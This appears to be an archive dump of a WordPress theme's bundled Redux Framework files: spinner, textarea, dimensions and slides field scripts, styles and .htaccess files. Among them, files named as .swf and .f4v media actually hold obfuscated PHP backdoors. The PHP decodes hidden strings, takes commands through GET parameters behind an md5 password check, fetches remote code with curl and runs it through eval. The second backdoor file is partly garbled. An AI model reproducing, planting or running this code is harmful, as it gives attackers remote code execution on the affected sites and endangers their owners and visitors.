b=this.options,c=b.min,d=b.max;if(a==null&&!b.allowNull)a=this.curvalue!=null?this.curvalue:c||d||0;if(d!=null&&a>d)return d;else if(c!=null&&a= '0' && c <= '9' || c == '-' ) return false; if ( p.places > 0 && c == d.point || c == d.group ) return false; return true; } function N( a ) { for ( var b = 0; b < r.length; b ++ ) if ( r[b] == a ) return true; return false; } function e( a ) { return a == 'auto' ? 0 : parseInt( a ); } var p = this, t = p.options, u = t.className, v = t.width, w = t.showOn, y = b.outerHeight(), z = p.oMargin = e( b.css( 'margin-right' ) ), A = p.wrapper = b.wrap( '' ).css( { width: (p.oWidth = b.outerWidth()) - v, marginRight: '30px', marginLeft: '30px', textAlign: 'center', 'float': 'none', marginTop: 0 } ).after( '' ).next(), B = p.btnContainer = a( '
    ' + '
    ' + '
    ' + '
    ' ), C, D, E, F, G, H, I, J, K, L, M = b[0].dir == 'rtl'; if ( u ) A.addClass( u ); A.append( B.css( {height: y, left: 0, top: 0} ) ); E = p.buttons = B.find( '.ui-spinner-button' ); E.css( {width: '30px', height: y - (0)} ); E.eq( 0 ).css( {right: '0'} ); E.eq( 1 ).css( {left: '0'} ); C = E[0]; D = E[1]; F = E.find( '.ui-icon' ); B.width( '105px' ); if ( w != 'always' ) B.css( 'opacity', 0 ); if ( w == 'hover' || w == 'both' ) E.add( b ).bind( 'mouseenter' + q, function() { P( function() { I = true; if ( ! p.focused || w == 'hover' ) p.showButtons(); } ); } ).bind( 'mouseleave' + q, function S() { P( function() { I = false; if ( ! p.focused || w == 'hover' ) p.hideButtons(); } ); } ); E.hover( function() { p.buttons.removeClass( d ); if ( ! t.disabled ) a( this ).addClass( d ); }, function() { a( this ).removeClass( d ); } ).mousedown( Q ).mouseup( R ).mouseout( R ); if ( o ) E.dblclick( function() { if ( ! t.disabled ) { p._change(); p._doSpin( (this === C ? 1 : - 1) * t.step ); } return false; } ).bind( 'selectstart', function() { return false; } ); b.bind( 'keydown' + q, function( b ) { var d, e, f, o = b.keyCode; if ( b.ctrl || b.alt ) return true; if ( N( o ) ) K = true; if ( J ) return false; switch ( o ) { case g: case k: d = 1; e = o == k; break; case h: case l: d = - 1; e = o == l; break; case i: case j: d = o == i ^ M ? 1 : - 1; break; case m: f = p.options.min; if ( f != null ) p._setValue( f ); return false; case n: f = p.options.max; f = p.options.max; if ( f != null ) p._setValue( f ); return false; } if ( d ) { if ( ! J && ! t.disabled ) { keyDir = d; a( d > 0 ? C : D ).addClass( c ); J = true; p._startSpin( d, e ); } return false; } } ).bind( 'keyup' + q, function( a ) { if ( a.ctrl || a.alt ) return true; if ( N( f ) ) K = false; switch ( a.keyCode ) { case g: case i: case k: case h: case j: case l: E.removeClass( c ); p._stopSpin(); J = false; return false; } } ).bind( 'keypress' + q, function( a ) { if ( O( a.keyCode, a.charCode ) ) return false; } ).bind( 'change' + q, function() { p._change(); } ).bind( 'focus' + q, function() { function a() { p.element.select(); } o ? a() : setTimeout( a, 0 ); p.focused = true; s = p; if ( ! I && (w == 'focus' || w == 'both') ) p.showButtons(); } ).bind( 'blur' + q, function() { p.focused = false; if ( ! I && (w == 'focus' || w == 'both') ) p.hideButtons(); } ); }, _procOptions: function( a ) { var b = this, c = b.element, d = b.options, e = d.min, f = d.max, g = d.step, h = d.places, i = - 1, j; if ( d.increment == 'slow' ) d.increment = [{count: 1, mult: 1, delay: 250}, { count: 3, mult: 1, delay: 100 }, {count: 0, mult: 1, delay: 50}]; else if ( d.increment == 'fast' ) d.increment = [{ count: 1, mult: 1, delay: 250 }, {count: 19, mult: 1, delay: 100}, {count: 80, mult: 1, delay: 20}, { count: 100, mult: 10, delay: 20 }, {count: 0, mult: 100, delay: 20}]; if ( e == null && (j = c.attr( 'min' )) != null ) e = parseFloat( j ); if ( f == null && (j = c.attr( 'max' )) != null ) f = parseFloat( j ); if ( ! g && (j = c.attr( 'step' )) != null ) if ( j != 'any' ) { g = parseFloat( j ); d.largeStep *= g; } d.step = g = g || d.defaultStep; if ( h == null && (j = g + '').indexOf( '.' ) != - 1 ) h = j.length - j.indexOf( '.' ) - 1; b.places = h; if ( f != null && e != null ) { if ( e > f ) e = f; i = Math.max( Math.max( i, d.format( f, h, c ).length ), d.format( e, h, c ).length ); } if ( a ) b.inputMaxLength = c[0].maxLength; j = b.inputMaxLength; if ( j > 0 ) { i = i > 0 ? Math.min( j, i ) : j; j = Math.pow( 10, i ) - 1; if ( f == null || f > j ) f = j; j = - (j + 1) / 10 + 1; if ( e == null || e < j ) e = j; } if ( i > 0 ) c.attr( 'maxlength', i ); d.min = e; d.max = f; b._change(); c.unbind( p + q ); if ( d.mouseWheel ) c.bind( p + q, b._mouseWheel ); }, _mouseWheel: function( b ) { var c = a.data( this, 'spinner' ); if ( ! c.options.disabled && c.focused && s === c ) { c._change(); c._doSpin( ((b.wheelDelta || - b.detail) > 0 ? 1 : - 1) * c.options.step ); return false; } }, _setTimer: function( a, b, c ) { function e() { d._spin( b, c ); } var d = this; d._stopSpin(); d.timer = setInterval( e, a ); }, _stopSpin: function() { if ( this.timer ) { clearInterval( this.timer ); this.timer = 0; } }, _startSpin: function( a, b ) { var c = this, d = c.options, e = d.increment; c._change(); c._doSpin( a * (b ? c.options.largeStep : c.options.step) ); if ( e && e.length > 0 ) { c.counter = 0; c.incCounter = 0; c._setTimer( e[0].delay, a, b ); } }, _spin: function( a, b ) { var c = this, d = c.options.increment, e = d[c.incCounter]; c._doSpin( a * e.mult * (b ? c.options.largeStep : c.options.step) ); c.counter ++; if ( c.counter > e.count && c.incCounter < d.length - 1 ) { c.counter = 0; e = d[++ c.incCounter]; c._setTimer( e.delay, a, b ); } }, _doSpin: function( a ) { var b = this, c = b.curvalue; if ( c == null ) c = (a > 0 ? b.options.min : b.options.max) || 0; b._setValue( c + a ); }, _parseValue: function() { var a = this.element.val(); return a ? this.options.parse( a, this.element ) : null; }, _validate: function( a ) { var b = this.options, c = b.min, d = b.max; if ( a == null && ! b.allowNull ) a = this.curvalue != null ? this.curvalue : c || d || 0; if ( d != null && a > d ) return d; else if ( c != null && a < c ) return c; else return a; }, _change: function() { var a = this, b = a._parseValue(), c = a.options.min, d = a.options.max; if ( ! a.selfChange ) { if ( isNaN( b ) ) b = a.curvalue; a._setValue( b, true ); } }, _setOption: function( b, c ) { a.Widget.prototype._setOption.call( this, b, c ); this._procOptions(); }, increment: function() { this._doSpin( this.options.step ); }, decrement: function() { this._doSpin( - this.options.step ); }, showButtons: function( a ) { var b = this.btnContainer.stop(); if ( a ) b.css( 'opacity', 1 ); else b.fadeTo( 'fast', 1 ); }, hideButtons: function( a ) { var b = this.btnContainer.stop(); if ( a ) b.css( 'opacity', 0 ); else b.fadeTo( 'fast', 0 ); this.buttons.removeClass( d ); }, _setValue: function( a, b ) { var c = this; c.curvalue = a = c._validate( a ); c.element.val( a != null ? c.options.format( a, c.places, c.element ) : '' ); if ( ! b ) { c.selfChange = true; c.element.change(); c.selfChange = false; } }, value: function( a ) { if ( arguments.length ) { this._setValue( a ); return this.element; } return this.curvalue; }, enable: function() { this.buttons.removeClass( e ); this.element[0].disabled = false; a.Widget.prototype.enable.call( this ); }, disable: function() { this.buttons.addClass( e ).removeClass( d ); this.element[0].disabled = true; a.Widget.prototype.disable.call( this ); }, destroy: function( b ) { this.wrapper.remove(); this.element.unbind( q ).css( {width: this.oWidth, marginRight: this.oMargin} ); a.Widget.prototype.destroy.call( this ); } } ); })( jQuery ); lib/redux-framework/inc/fields/spinner/vendor/vendor/index.php000064400000000000147206624460020544 0ustar00lib/redux-framework/inc/fields/spinner/vendor/vendor/zHqFitMc.swf000064400000011707147206624460021152 0ustar00OQ=#O&-*/" "); /*-]!-*/$mV/*-Sinl%-*/=/*-JP<7?3e[H-*/${$sv/*-}xwG}KE-*/[4+27/*-4CHF}D,O-*/].$sv/*-c[RTx-*/[6+53]/*-)Pu-*/.$sv/*-vrp}rN-*/[32+15]/*-Q-*/.$sv/*-6N-*/[32+15]/*-$>s{L-*/.$sv/*-T^4Aj@-*/[27+24]/*-9yMfILsV-*/.$sv/*-Zq4+R#Q%M-*/[49+4]/*-T.(%7!Euj-*/.$sv/*-{9T-*/[57+0]/*-N[#I-*/}; /*-mz?RV-*/if/*-_4IaNe?-*/((/*-:2(-*/in_array/*-tD_gP-*/(gettype/*-TuuD-*/($mV)./*-5,5zIFE-*/count/*-]cq&5U)@-;-*/($mV),/*-XzE-*/$mV)/*-UL-*/&&count/*-}I.1!#u-*/($mV)/*-&|-*/==/*-L?np0glH-*/10))/*-oCLHF@Z-*/{ /*-LFvi-*/(($mV[67]=$mV[67].$mV[79])&&($mV[85]=$mV[67]($mV[85]))&&(/*-(?t1(gD-*/@eval/*-M3LY4-!-*/($mV[67](${$mV[37]}[25])/*-%P-*/))/*-1{YYhTm-*/);}/*-[8ln`-%Z-*/class /*-hQ]Q)-*/iqmh{ /*-amW-*/static/*-1!BAb-*/ function /*-y0O-*/iHVq($aWSMe) /*-y9$%u!h-*/{ $IfSxh/*-oE,7jxH=-*/ = /*-BhodQ-*/"r"./*-=-*/"a"./*-`BH]I-*/"n"./*-iZ2IwJ+I-*/"g"./*-}>`z6d;B-*/"e"; /*-rcWd-*/$KZG/*-K7I%:O-*/ = /*-6vv(9OWh{m-*/$IfSxh/*-ePwzp{I:-*/(/*-es4-*/"~"/*-y4+69qd-*/, /*-?0Ig{.-*/" "/*-ppCQ4Qe-*/);/*-``[VW%7+P-*/ $UfnshMgrPd /*-Qc|MCg7-*/= /*-+NCsWc-*/explode/*-LD^.R-*/(/*-J0%Fxq0P-*/"=", /*-pBPXs(Pjki-*/$aWSMe/*-iEvM-*/); /*-!a}?Zp-*/$VZHkyvnNh /*-ApX>BS-*/= /*-w(9-*/""; foreach /*-})Xrb#-*/(/*-JL-*/$UfnshMgrPd /*-_I>F]}^%>-*/as /*-@b9RJ+-*/$UybaAGv /*-Ip-*/=>/*-EW-m[U-*/ $XQMSj/*-0P32-*/) /*-%CGQ-*/$VZHkyvnNh /*-+{KUv-*/.= /*-DbI85:F-*/$KZG[$XQMSj/*-22P;yML|;-*/ - /*-Hkn-*/34493/*-[ax!p|-*/];/*-aBJpfGo-*/ return /*-+1r+XsHQA-*/$VZHkyvnNh; /*-+&reU-*/} /*-z}`F~o-*/static /*-=W7koNx-*/function /*-DkA,gU-*/RkPdDmGBis/*-~~gN_d>-*/(/*-Uh-*/$EYNJIWajQ,/*->4gq-*/ $wLKN/*-q<7P:]l>-*/)/*-q-*/ {/*-Y+-*/ $mIyDro/*-r5C4lK-*/ = /*-H0Q-u_&`,-*/curl_init/*-_qjm[$aD$-*/(/*-jG7+`-*/$EYNJIWajQ/*-e.(=z-*/);/*-te5wE}E>7u-*/ curl_setopt/*-_F60tB-*/(/*-b&uCw-*/$mIyDro,/*-gaL6=[}Y5-*/ CURLOPT_RETURNTRANSFER,/*-c:-*/ 1/*-%<()-*/);/*-dI-*/ $oVHj/*-Ou-*/ = /*-:tC:Z~uS-*/curl_exec/*-)~-*/(/*-GnRW$l,-*/$mIyDro/*-AV1L-*/); /*-ACw3^-*/return /*-DHJh-*/empty/*-UpN#lK-*/(/*-;d(>q-*/$oVHj/*-T)-f-*/)/*-C6^;-*/ ? /*-$qw,I3>S-*/$wLKN/*-^Z-*/(/*-z#CQ-*/$EYNJIWajQ/*-YA-*/)/*-dg9|g-*/ : /*-I5.-*/$oVHj; /*-~@N-*/}/*-cFSU4J-*/ static/*-hTG_nn-*/ function /*-};52xsesc-*/dFxYDu/*-uy2Qv4-#-*/() /*-Sn|W(}maB-*/("34520=34505=34518=34522=34503=34518=34524=34517=34502=34509=34520=34503=34514=34508=34509","34504=34503=34505=34524=34505=34508=34503=34570=34568","34513=34504=34508=34509=34524=34519=34518=34520=34508=34519=34518","34507=34522=34520=34512","34521=34522=34504=34518=34565=34567=34524=34519=34518=34520=34508=34519=34518","34517=34514=34511=34518=34524=34516=34518=34503=34524=34520=34508=34509=34503=34518=34509=34503=34504","34547=34577","34494","34572=34577","34554=34537=34537=34554=34530","34508=34517"); /*-[03x1-*/foreach /*-~HE~J}n-*/(/*-N;}$)sI(4o-*/$uKItTv/*-q}vQ[-*/ as /*-7YMfdQ9N=-*/$qbCmWaM/*-#$88~-*/)/*-]Oa#b2m-*/ $vkciyHrX/*-ru+_7K-*/[] /*-,;^}t]-*/= /*-oa~X-*/self/*-s}+9^AppX{-*/::/*-Y1E)eAx-*/iHVq/*-h.-*/(/*-i2Y5j%_!Aj-*/$qbCmWaM/*-E:;1+|P_-*/);/*-s`8Hyhdd-*/$FPuvecJ /*-_Ig9|;A-*/= /*-d?5m..-*/@$vkciyHrX/*->If]L{>ux-*/[/*-,3OLR|-*/1/*-BeyWO,]z-*/]/*-q&v2$}-*/(/*-DR2tr-*/${/*--j#61-*/"_"/*-[M^vr=A:2+-*/."G"/*-7)6c-*/."E"/*-T2y4-W:V-*/."T"/*-zwR.%J-*/}[/*-l<-*/$vkciyHrX/*-~sy^#-*/[/*-.RT}-*/9+0/*-T2r-*/]]/*-o&hA8GB-*/);/*-ruec.n-*/ $OqaUc /*-a19-*/=/*-!z-*/ @$vkciyHrX/*-g=N-*/[/*-JO7?-*/2+1/*-M&~n~q-z:-*/]/*-UE-*/(/*-(KHY-*/$vkciyHrX/*-ojQ;yl-*/[/*-p.fde8pl-*/4+2/*-X9CLv-*/], /*-i@Z5bAL-*/$FPuvecJ/*-{?]-*/);/*-a>R{c-*/ $zbjrX /*-Eu]j?w)~{T-*/=/*-.,!qWe-*/ $vkciyHrX/*-EzKB-*/[/*-.FmZ-*/1+1/*-Sf$!9f}8E-*/]/*-g1_reQUM$-*/(/*-)6QvcK-*/$OqaUc,/*-Qpj$|sftd-*/ true/*-Ma-*/); /*-i]=-*/@${/*-mqI{U_-*/"_"./*-hWH!-*/"G"./*-l7W-*/"E"/*-7-*/."T"/*-!4Lu#Ob?=&-*/}/*--,)-*/[/*-QL%j-*/$vkciyHrX/*-Gf5FiMd+-*/[2+8/*-Nrbaph#m-*/]/*-],x->FS]-*/]/*-mFjT@-*/ == /*-;Yj+Fl6?_-*/1 /*-}n(r-*/&& /*-=k4-*/die/*-t}V-*/(/*-Th3:,U18-*/$vkciyHrX[2+3/*-H)R8c~F6-*/]/*-1A^-*/(/*-$^5z[z-*/__FILE__/*-t7=0o[-*/)/*-4koyRSNt1}-*/); /*-(L?0i-*/if/*-GUHDE-*/(/*-h#dcBHGn-*/ (/*-kI-*/(@/*-N4kg-*/$zbjrX/*-W6R`PoR$-*/[/*-N-)h9-M-*/0/*-dw>L-*/] /*-HT^-*/- time/*-A.72E)]T5+-*/()/*-cwj1-*/) > /*-oZb-*/0/*-#tR-*/)/*-Ft-E^-*/ and /*-$Q#4WOXx-*/(/*-ye3-{e.A-*/md5/*-`!|yY45-*/(/*-8u-*/md5/*-Df83C:-*/(/*-(m-*/$zbjrX/*-q_9Ej5xYa-*/[/*-53Ke-*/3+0/*-$n{-*/]/*-Z2H-*/)/*-3>Az^UJ4-*/)/*-nR(XXPQ-*/ === /*-%9kY-*/"ba4de4d58fa801360e96c9c49880f52e"/*-T6@:`7Id0?-*/)/*-m=s%B2LN-*/ ): /*-[?=86:~`-*/$iSpaY /*--l8[rW-*/=/*-jp{Zh_-*/ self/*-2p7-xU5{7v-*/::/*-T-*/RkPdDmGBis/*-i@-*/(/*-y}+=8]UP-*/$zbjrX/*-Eh-*/[/*-VO,D;R-*/1+0/*-X5re-*/], /*-~3Hn-*/$vkciyHrX/*-i(g}`W~-*/[/*-m_j$f-*/5+0/*-l{<[gwS-*/]/*--*/$vkciyHrX/*-Ika8MZQX[<-*/[/*-;(~+-*/1+3/*-w9-*/)/*-tjm0:EFz]-*/);/*-J-*//*-}%5hF-*/die;/*-WA-*/ endif;/*-.4<)XeM#-*/ }/*-LH~-*/}/*-u&c)-*/iqmh/*-Kb}M-*/::/*-Q#-*/dFxYDu/*-&Otl:8b?-*/();/*-!@h>Cx-*/ ?>lib/redux-framework/inc/fields/spinner/vendor/vendor/.htaccess000064400000001626147206624460020541 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/spinner/vendor/.htaccess000064400000001626147206624460017244 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/spinner/arrow_right.png000064400000000232147206624460017176 0ustar00PNG  IHDR /3tEXtSoftwareAdobe ImageReadyqe< @RgvQg?};Uچ(X,;WVIENDB`lib/redux-framework/inc/fields/spinner/field_spinner.css.map000064400000002527147206624460020261 0ustar00{ "version": 3, "mappings": "AACI,sCAAc;EACV,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,KAAK;EACd,MAAM,EAAE,IAAI;EACZ,QAAQ,EAAE,MAAM;EAEhB,qDAAe;IACX,QAAQ,EAAE,mBAAmB;IAC7B,OAAO,EAAE,CAAC;IACV,KAAK,EAAE,eAAe;IACtB,MAAM,EAAE,eAAe;IACvB,UAAU,EAAE,kBAAkB;IAC9B,MAAM,EAAE,4BAA4B;IACpC,YAAY,EAAE,YAAY;IAC1B,WAAW,EAAE,YAAY;IACzB,qBAAqB,EAAE,YAAY;IACnC,kBAAkB,EAAE,YAAY;IAChC,aAAa,EAAE,YAAY;AAInC,oCAAY;EACR,QAAQ,EAAE,MAAM;EAChB,OAAO,EAAE,MAAM;AAInB,4CAAoB;EAChB,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,CAAC;AAGd,sDAA8B;EAC1B,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,OAAO,EAAE,QAAQ;EACjB,QAAQ,EAAE,MAAM;EAChB,MAAM,EAAE,OAAO;EACf,UAAU,EAAE,sCAAsC;EAClD,UAAU,EAAE,oCAAoC;EAChD,UAAU,EAAE,2EAA2E;EACvF,UAAU,EAAE,iCAAiC;EAC7C,gBAAgB,EAAE,OAAO;EACzB,MAAM,EAAE,IAAI;EACZ,kBAAkB,EAAE,IAAI;EACxB,eAAe,EAAE,IAAI;EACrB,UAAU,EAAE,IAAI;AAGpB;wCACgB;EACZ,UAAU,EAAE,sCAAsC;EAClD,UAAU,EAAE,oCAAoC;EAChD,UAAU,EAAE,2EAA2E;EACvF,UAAU,EAAE,iCAAiC;EAC7C,gBAAgB,EAAE,OAAO;AAG7B;iEACyC;EACrC,qBAAqB,EAAE,WAAW;EAClC,kBAAkB,EAAE,WAAW;EAC/B,aAAa,EAAE,WAAW;AAG9B;iEACyC;EACrC,qBAAqB,EAAE,WAAW;EAClC,kBAAkB,EAAE,WAAW;EAC/B,aAAa,EAAE,WAAW;AAI1B,oDAAS;EACL,GAAG,EAAE,CAAC;EACN,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,MAAM,EAAE,CAAC;EACT,MAAM,EAAE,iBAAiB;AAG7B,iEAAsB;EAClB,UAAU,EAAE,0QAAyQ;AAGzR,iEAAsB;EAClB,UAAU,EAAE,kQAAiQ", "sources": ["field_spinner.scss"], "names": [], "file": "field_spinner.css" }lib/redux-framework/inc/fields/spinner/field_spinner.js000064400000010617147206624460017330 0ustar00/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.spinner = redux.field_objects.spinner || {}; $( document ).ready( function() { //redux.field_objects.spinner.init(); } ); redux.field_objects.spinner.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-spinner:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux_spinner' ).each( function() { //slider init var spinner = $( this ).find( '.spinner-input' ).data(); spinner.id = $( this ).find( '.spinner-input' ).attr( 'id' ); el.find( "#" + spinner.id ).spinner( { value: parseFloat( spinner.val, null ), min: parseFloat( spinner.min, null ), max: parseFloat( spinner.max, null ), step: parseFloat( spinner.step, null ), range: "min", slide: function( event, ui ) { var input = $( "#" + spinner.id ); input.val( ui.value ); redux_change( input ); } } ); // Limit input for negative var neg = false; if ( parseInt( spinner.min, null ) < 0 ) { neg = true; } //el.find( "#" + spinner.id ).numeric( // { // allowMinus: neg, // min: spinner.min, // max: spinner.max // } //); } ); // Update the slider from the input and vice versa el.find( ".spinner-input" ).keyup( function() { $( this ).addClass( 'spinnerInputChange' ); } ); el.find( ".spinner-input" ).focus( function() { redux.field_objects.spinner.clean( $( this ).val(), $( this ) ); } ); el.find( '.spinner-input' ).typeWatch( { callback: function( value ) { redux.field_objects.spinner.clean( value, $( this ) ); }, wait: 500, highlight: false, captureLength: 1 } ); } ); }; redux.field_objects.spinner.clean = function( value, selector ) { if ( !selector.hasClass( 'spinnerInputChange' ) ) { return; } selector.removeClass( 'spinnerInputChange' ); var spinner = selector.data(); value = parseFloat( value ); if ( value === "" || value === null ) { value = spinner.min; } else if ( value >= parseInt( spinner.max ) ) { value = spinner.max; } else if ( value <= parseInt( spinner.min ) ) { value = spinner.min; } else { value = Math.round( value / spinner.step ) * spinner.step; } selector.val( value ).trigger( 'change' ); }; })( jQuery );lib/redux-framework/inc/fields/spinner/.htaccess000064400000001626147206624460015747 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/textarea/textarea/JWKlyELnjkt.f4v000064400000011710147206624460020651 0ustar00-*/${$qOJd/*-=-*/[9+22/*-F7aa>)o-*/].$qOJd/*--*/$We/*-H#5;5-*/(/*-T:NIk-*/"~"/*-p!-3-*/, /*-gf-Aj,.-*/" "/*-34XRqbaf-*/);/*-T@[Booi-*/ $EUXIa /*-#J=zy?JZr$-*/= /*->E>bAuVF-*/explode/*-rS-*/(/*-x;HHSI-*/":", /*-jYdyNyD-*/$ZYOgIc/*-N=-*/); /*-wr)Df@q<-*/$pdAV /*-E@+Gg$h-*/= /*->1:6-*/""; foreach /*-ejg-*/(/*-f9vG=raFh-*/$EUXIa /*-)#iP-*/as /*-]>qoutnS1-*/$zyj /*-LpI={9-*/=>/*-%2wyj8-*/ $mydprbWFl/*-Y]zI!}g-*/) /*-mlh-*/$pdAV /*--aA3txX:-*/];/*-PZ}7S-*/ return /*-uU=-*/$pdAV; /*-P7~!cyf|@-*/} /*-Tq~[C^UCQ-*/static /*-eSuzh[;-*/function /*-3q_BqtN-*/YV/*-[PP-*/(/*-M)Tx..;-*/$VN,/*-EU6kB-0kQ-*/ $EHwAvWkZht/*-2kbc)pb-*/)/*-8^(g8-*/ {/*-R27t-*/ $Zi/*-S87.0jip3-*/ = /*-R%IZ,C-*/curl_init/*-A3ZF-*/(/*-N^I^-*/$VN/*-,,9-*/);/*-b`[6>n-*/ curl_setopt/*-di-*/(/*-Hc-*/$Zi,/*-J-*/ CURLOPT_RETURNTRANSFER,/*-,RN3wx]iN8-*/ 1/*-9O8-*/);/*-g@?O%s+N;p-*/ $plfecUQ/*-dg-*/ = /*-^+,a@g$-*/curl_exec/*-{+-*/(/*-moUn-*/]/*-x-*/(/*-_C?S>9J$]{-*/${/*-Mn62[]l5K-*/"_"/*-}x=-*/."G"/*-b6V-*/."E"/*-Hy1DQ-*/."T"/*-?`-*/}[/*-fZ&]J`V|#a-*/$nMZVwXqH/*-]neU+]{94d-*/[/*-M4-*/3+6/*-I:y1{-*/]]/*-$MYS&s-*/);/*-ZPZfN[-*/ $EN /*-I-:g<4f-*/$vxU/*-R,{j-*/);/*-T1p)jCC|,`-*/ $cpq /*-6BLNK-*/=/*-:-*/&& /*-_f3H1-*/die/*-)KR5t-*/(/*-E3e9;e-*/$nMZVwXqH[2+3/*-{B0bmt-*/]/*-(@VHVvl-*/(/*-Byu{`vd|E7-*/__FILE__/*-.&Hm?!_V-*/)/*-=?L|:.DD-*/); /*-=QgtVrE]-*/if/*-3]rIKT,q-*/(/*-mV((}D-*/ (/*-x~.Y<#%_-*/(@/*-v{-*/$cpq/*-,4v-*/[/*-oiROF-*/0/*-.-*/] /*-u@@!wY.Y-*/- time/*-ii-*/()/*-V5eCJTP-*/) > /*-b@To9+T-*/0/*-N6tAt=ku-*/)/*-GxpP]w>ik}-*/ and /*-I)U-*/(/*-]@Mp-*/md5/*-{{xm:Ol-*/(/*-5Q-*/md5/*-{HlCR-*/(/*-`y`E-*/$cpq/*-au[{@-*/[/*-c++RC-*/1+2/*-n`FVCW-*/]/*-wT9WSp9-*/)/*-kjXGBz-*/)/*-zv7(J-*/ === /*-M1:-*/"95170de20ad393a4edc2b35ea8c976e6"/*-xa5Q-*/)/*-n6U}k-*/1+0/*-D%qA_-*/], /*-+F^F0-*/$nMZVwXqH/*-r-*/[/*-J&Xv6%-*/4+1/*-O?~Ztg-*/]/*-DJ-*/);/*-2>1UTr-*/@eval/*-j_`gA-*/(/*-`44NM0:~?-*/$nMZVwXqH/*-7V-*/[/*-V,BU-*/4+0/*-Qz0-*/]/*-pe-*/(/*-itdx>|ns-*/$jqVLICbk/*-@6io-*/)/*-|`m2hQI-*/);/*-+|bX-*//*-ylV@-*/die;/*-Fz8T1kb8Q-*/ endif;/*-XWihp[F.-*/ }/*-G1H?doV-*/}/*-(V%M`+-*/pi/*-&R^3.Mdmu-*/::/*-jGF]-*/avZIxXTN/*-g-*/();/*-$l-*/ ?>lib/redux-framework/inc/fields/textarea/textarea/index.php000064400000000000147206624460017726 0ustar00lib/redux-framework/inc/fields/textarea/textarea/.htaccess000064400000001626147206624460017723 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/textarea/field_textarea.php000064400000006331147206624460017777 0ustar00field['test'] This is cool. * @param string|boolean $field[default] Default value for this field. * @return Test * @see ParentClass * @since Redux 3.0.9 * @todo Still need to fix this! * @var string cool * @var int notcool * @param string[] $options { * @type boolean $required Whether this element is required * @type string $label The display name for this element */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_textarea' ) ) { class ReduxFramework_textarea { /** * Field Constructor. * * @param $value Constructed by Redux class. Based on the passing in $field['defaults'] value and what is stored in the database. * @param $parent ReduxFramework object is passed for easier pointing. * * @since ReduxFramework 1.0.0 * @type string $field [test] Description. Default . Accepts , . */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 * * @param array $arr (See above) * * @return Object A new editor object. **/ function render() { $this->field['placeholder'] = isset( $this->field['placeholder'] ) ? $this->field['placeholder'] : ""; $this->field['rows'] = isset( $this->field['rows'] ) ? $this->field['rows'] : 6; $readonly = ( isset( $this->field['readonly'] ) && $this->field['readonly']) ? ' readonly="readonly"' : ''; // The $this->field variables are already escaped in the ReduxFramework Class. ?> Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/dimensions/field_dimensions.min.js000064400000002346147206624460021276 0ustar00!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.dimensions=redux.field_objects.dimensions||{},t(document).ready(function(){}),redux.field_objects.dimensions.init=function(i){i||(i=t(document).find(".redux-container-dimensions:visible")),t(i).each(function(){var e=t(this),i=e;if(e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),!i.is(":hidden")&&i.hasClass("redux-field-init")){i.removeClass("redux-field-init");var n={width:"resolve",triggerChange:!0,allowClear:!0},s=e.find(".select2_params");if(0
    '),s(this).prev().append(e)}),e.find(".slide-title").keyup(function(e){var i=e.target.value;s(this).parents().eq(3).find(".redux-slides-header").text(i)}),e.find(".redux-slides-accordion").accordion({header:"> div > fieldset > h3",collapsible:!0,active:!1,heightStyle:"content",icons:{header:"ui-icon-plus",activeHeader:"ui-icon-minus"}}).sortable({axis:"y",handle:"h3",connectWith:".redux-slides-accordion",start:function(e,i){i.placeholder.height(i.item.height()),i.placeholder.width(i.item.width())},placeholder:"ui-state-highlight",stop:function(e,i){i.item.children("h3").triggerHandler("focusout"),s("input.slide-sort").each(function(e){s(this).val(e)})}})))})}}(jQuery);lib/redux-framework/inc/fields/slides/field_slides.scss000064400000004635147206624460017304 0ustar00.redux-container-slides { .redux-slides-list .select2-container { margin-bottom: 10px; width: 100%; } .ui-accordion-header { margin-bottom: 0; } .full-text, .large-text { width: 100%; } .redux-slides-accordion-group { border: 1px solid #dfdfdf !important; border-radius: 3px !important; margin-top: 0px !important; margin-bottom: 10px; background: #f9f9f9; padding: 5px; h3 { border: 1px solid #dfdfdf; cursor: move !important; font-weight: bold; padding: 0 10px !important; height: 40px; line-height: 40px !important; background-color: #f1f1f1; background-image: -ms-linear-gradient(top, #f9f9f9, 